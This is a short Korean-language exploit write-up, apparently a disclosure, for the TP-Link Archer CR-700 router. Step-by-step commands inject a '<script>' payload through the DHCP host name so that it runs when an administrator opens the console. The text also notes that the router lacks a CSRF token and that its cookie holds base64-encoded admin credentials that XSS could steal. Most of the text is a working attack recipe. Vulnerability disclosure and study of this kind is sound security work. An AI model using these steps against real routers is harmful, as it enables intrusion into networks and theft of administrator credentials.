
TP-Link Archer CR-700 라우터 익스플로잇. (TP-Link에 책임 있게 공개됨)
TP-Link Archer CR-700 라우터 익스플로잇. (TP-Link에 책임 공개됨)
1단계-> Linux 머신(Kali 또는 Ubuntu)에서 다음 명령을 입력하세요.
gedit /etc/dhcp/dhclient.conf
아래 줄을 주석 처리하세요. #send host-name = gethostname();
그 줄을 그 아래 줄에 복사하고 gethostname() 함수를 아래와 같이 XSS 스크립트로 변경하세요.
send host-name = "<script>alert(5)</script>";
2단계: 변경 사항이 적용되도록 Linux 시스템을 재시작하세요.
3단계: 아래 명령으로 라우터에 DHCP 요청을 보내 IP 주소를 받으세요. (TP-Link Archer CR-700을 사용하는 개방형 네트워크 라우터에서 시도하세요.)
dhclient -v -i wlan0
위 명령을 실행하면 라우터에 DHCP 요청을 보냅니다. DHCP 요청 시 호스트 이름이 전송되는데, 우리는 이를 강제로 XSS 스크립트 <script>alert(5)</script>로 설정했습니다.
4단계: 관리자 콘솔에 로그인하세요.
로그인하면 스크립트가 실행됩니다.
라우터에서 발견한 또 다른 문제는 CSRF 토큰이 없다는 것이었습니다. 라우터가 설정하는 쿠키에는 base64로 인코딩된 사용자 이름과 비밀번호가 포함되어 있으며, XSS 스크립트를 사용해 탈취할 수 있습니다.
참고: 위의 모든 정보는 TP-Link에 공개되었으며, TP-Link는 문제를 재현하고 수정을 위해 R&D 팀에 전달했습니다.
제품 URL: https://www.amazon.com/Wireless-Certified-Cablevision-Archer-CR700/dp/B012I96J3W